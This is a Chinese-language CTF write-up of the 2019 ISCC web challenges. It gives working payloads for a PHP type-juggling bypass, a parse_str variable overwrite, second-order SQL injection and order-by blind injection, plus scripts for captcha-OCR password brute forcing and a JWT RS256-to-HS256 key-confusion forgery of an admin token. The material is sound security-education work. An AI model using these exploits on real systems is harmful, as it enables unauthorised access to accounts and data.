Back

2019 ISCC Web wp

2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…

Web

Web1

 <?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);
http://39.100.83.188:8001/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2332e1

Web2

提示破解3位数字密码,可以写脚本来跑,由于他的验证码是每次 GET 一次就刷一次,验证码处理这块会比较麻烦,学习了一波验证码的处理识别与 selenuim 爬虫的知识,写了个半成品,但是貌似这个处理 response 不太好处理,最后盲猜 996 拿到 flag

import pytesseract
import requests
import time
from PIL import Image
from selenium import webdriver
'''
调用接口请求验证码,保存到本地,识别验证,检查识别的验证码对不对。
'''
driver = webdriver.Chrome()
driver.get("http://39.100.83.188:8002/")
driver.add_cookie({
'domain': '39.100.83.188:8002',
'name': 'PHPSESSID',
'value': 'alsrko26h2mlbmkgv54r4gpcf3',
'path': '/',
'expires': None
})
driver.get("http://39.100.83.188:8002/")
# 比较好理解、截图并保存到这个路径
driver.get_screenshot_as_file('./screenshoot.png')
# driver.close()
# 打开刚刚保存的图片
im = Image.open('./screenshoot.png')
# 设置要裁剪的区域(验证码所在的区域)
box = (0, 200, 130, 300)
# 截图,生成只有验证码的图片
region = im.crop(box)
# 保存到本地路径
region.save("./code.png")
# 读取验证码图片
image = Image.open("./code.png")
# 开始识别验证码
optCode = pytesseract.image_to_string(image)
# 打印出验证码
print("验证码:", optCode)
password = '999'
driver.find_element_by_name("pwd").send_keys(password)
driver.find_element_by_name("user_code").send_keys(optCode)
driver.find_element_by_name("Login").click()
print(driver)

后来看其他师傅,可以把 cookie 删掉来达到爆破密码

Web3

感觉是把 sql-lab 二次注入的题目给拿了上来,就是利用注册admin'#来更改管理员账号密码的那个题

但是貌似过滤了一些字符,但是管他么多,师傅们都是懒的,直接用admin/123456上去拿到 flag

看了其他师傅的wp,可以通过admin'--xx来二次注入,奇怪的是当时我并没有成功…可能并发确实太多了…

Web4

代码审计题

 <?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        if($hashed_input!==$hashed_key){
            die("<img src='cxk.jpg'>");
        }

        echo $flag;
    }
}else{
    show_source(__FILE__);
}?> 

又是一个原题,利用pase_str函数的特性:

{% colorquote success %}

parse_str ( string $encoded_string [, array &$result ] ) : void

如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

{% endcolorquote %}

传入hashed_key覆盖掉hased_key即可

Payload:

action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

Web5

http://39.100.83.188:8054/

脑洞题…脑洞对不上…

参考2019iscc wp,考点是注入,过滤了圆括号,注释符,from等等

payload :order by 排序盲注

Web6

http://39.100.83.188:8053/

测试发现一些特殊符号被转义

!@#$%^&amp;*()_+-={}|[]\\:\";'&lt;&gt;?,./

然后发现并没有什么用…

然后发现有 jwt ,但是看了一下并没什么,参考了JSON Web Token (JWT) 攻击技巧,试了几种方式,改加密算法为 none 没用,又没有公钥…

然后终于在 http://39.100.83.188:8053/static/js/common.js 中发现了

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

这个没有用到的函数,还以为公钥是用md5(username+password),结果发现这是个 url …

访问 http://39.100.83.188:8053/pubkey/9af8bd54cb8f00ac47d6050c99a5494b 得到

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

拿上面那篇先知文章的 exp 出来改一下

import jwt

public = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----'''
print public
print jwt.encode({"name":"zeddy","priv":"admin"}, key=public, algorithm='HS256')

这里注意,如果要用这个 exp 必须得用pyjwt==0.4.3,而且 python 还有个库也叫 jwt …这里需要用 python2 把两个jwt/PyJWT都卸了,然后装上面那个就行了。

用这个 jwt 访问/list就可以得到 admin 的 pastebin 了,访问即是 flag

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy